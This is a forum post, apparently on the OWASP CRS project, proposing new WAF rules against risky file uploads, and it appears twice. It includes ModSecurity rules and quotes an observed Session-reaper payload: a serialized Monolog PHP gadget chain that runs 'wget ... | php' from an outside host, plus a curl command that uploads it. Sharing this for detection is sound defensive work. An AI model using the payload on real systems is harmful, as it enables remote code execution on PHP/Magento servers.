Hello,
Before any third parties get carried away - this is by no means a criticism of OWASP CRS for not handling this.
I’m fully aware that, historically, we consider file uploads out of scope for a WAF, with the responsibility falling instead on antimalware/antivirus tools - which is legitimate. I’m aligned with that: it’s their job to perform that kind of analysis.
Nevertheless, perhaps we could try to take some initiative and make proposals on this topic.
As of now, OWASP CRS is limited in its protection against risky file uploads. We restrict them based on a blacklist - either of filenames (restricted-uploads.data) or risky extensions (rule 933110) - which doesn’t address certain classes of vulnerabilities, such as phars hidden inside images (all PHP 7 and lower applications are sensitives) or more exotic abuses like Session-reaper.
Since such a rule set would naturally be highly imperfect - though cybersecurity by default is always perfectible - could someone lay the groundwork for a new set of rules related to uploads?
I don’t feel comfortable taking this initiative myself, but I’d be happy to assist and contribute based on the real-world cases we encounter.
This new rule set could include proposals for much stricter restrictions on allowed upload extensions, or even on the authorization to upload altogether - which we are already trying to handle with granularity here.
For the Session-reaper case, here’s a ruleset snippet that will probably help some folks who aren’t comfortable with @inspectFile:
SecRule FILES|REQUEST_HEADERS:X-Filename|REQUEST_HEADERS:X_Filename|REQUEST_HEADERS:X.Filename|REQUEST_HEADERS:X-File-Name "@rx ^sess_[\w\-]+$" "id:1,phase:2,block,deny,status:405"
SecRule &REQUEST_COOKIES:PHPSESSID "!@eq 0" "id:2,phase:1,log,block,deny,status:405,msg:'CORRUPTED SESSION COOKIE',chain"
SecRule REQUEST_COOKIES:PHPSESSID "!@rx ^[0-9a-z]{20,32}$" "setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
NB: that a very quick copy/past/quick clean from our rules, i don't take time to test this quick clean version - i can make it proper on OWASP CRS standard if asked.
Which imperfectly covers the payload observed yesterday:
echo '_|O:32:"Monolog\Handler\SyslogUdpHandler":1:{S:6:"socket";O:29:"Monolog\Handler\BufferHandler":7:{S:7:"handler";r:2;S:10:"bufferSize";i:-1;S:6:"buffer";a:1:{i:0;a:2:{i:0;S:71:"wget -O- https://worcksbot.com/w.php?a=https://www.X.fr | php";S:5:"level";N;}}S:5:"level";N;S:11:"initialized";b:1;S:11:"bufferLimit";i:-1;S:10:"processors";a:2:{i:0;S:7:"current";i:1;S:4:"exec";}}}' > sess_d8ew88tqmabdcokhumchy8htqm && curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:4" "https://sandbox.coreruleset.org/" -F 'custom_attributes[vat_id]=@sess_d8ew88tqmabdcokhumchy8htqm'
There was an article posted last month about it : https://slcyber.io/assetnote-security-research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/
What do you think about building a new set of rule on upload ?
Hello,
Before any third parties get carried away - this is by no means a criticism of OWASP CRS for not handling this.
I’m fully aware that, historically, we consider file uploads out of scope for a WAF, with the responsibility falling instead on antimalware/antivirus tools - which is legitimate. I’m aligned with that: it’s their job to perform that kind of analysis.
Nevertheless, perhaps we could try to take some initiative and make proposals on this topic.
As of now, OWASP CRS is limited in its protection against risky file uploads. We restrict them based on a blacklist - either of filenames (restricted-uploads.data) or risky extensions (rule 933110) - which doesn’t address certain classes of vulnerabilities, such as phars hidden inside images (all PHP 7 and lower applications are sensitives) or more exotic abuses like Session-reaper.
Since such a rule set would naturally be highly imperfect - though cybersecurity by default is always perfectible - could someone lay the groundwork for a new set of rules related to uploads?
I don’t feel comfortable taking this initiative myself, but I’d be happy to assist and contribute based on the real-world cases we encounter.
This new rule set could include proposals for much stricter restrictions on allowed upload extensions, or even on the authorization to upload altogether - which we are already trying to handle with granularity here.
For the Session-reaper case, here’s a ruleset snippet that will probably help some folks who aren’t comfortable with @inspectFile:
NB: that a very quick copy/past/quick clean from our rules, i don't take time to test this quick clean version - i can make it proper on OWASP CRS standard if asked.
Which imperfectly covers the payload observed yesterday:
echo '_|O:32:"Monolog\Handler\SyslogUdpHandler":1:{S:6:"socket";O:29:"Monolog\Handler\BufferHandler":7:{S:7:"handler";r:2;S:10:"bufferSize";i:-1;S:6:"buffer";a:1:{i:0;a:2:{i:0;S:71:"wget -O- https://worcksbot.com/w.php?a=https://www.X.fr | php";S:5:"level";N;}}S:5:"level";N;S:11:"initialized";b:1;S:11:"bufferLimit";i:-1;S:10:"processors";a:2:{i:0;S:7:"current";i:1;S:4:"exec";}}}' > sess_d8ew88tqmabdcokhumchy8htqm && curl -H "x-format-output: txt-matched-rules" -H "x-crs-paranoia-level:4" "https://sandbox.coreruleset.org/" -F 'custom_attributes[vat_id]=@sess_d8ew88tqmabdcokhumchy8htqm'There was an article posted last month about it : https://slcyber.io/assetnote-security-research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/
What do you think about building a new set of rule on upload ?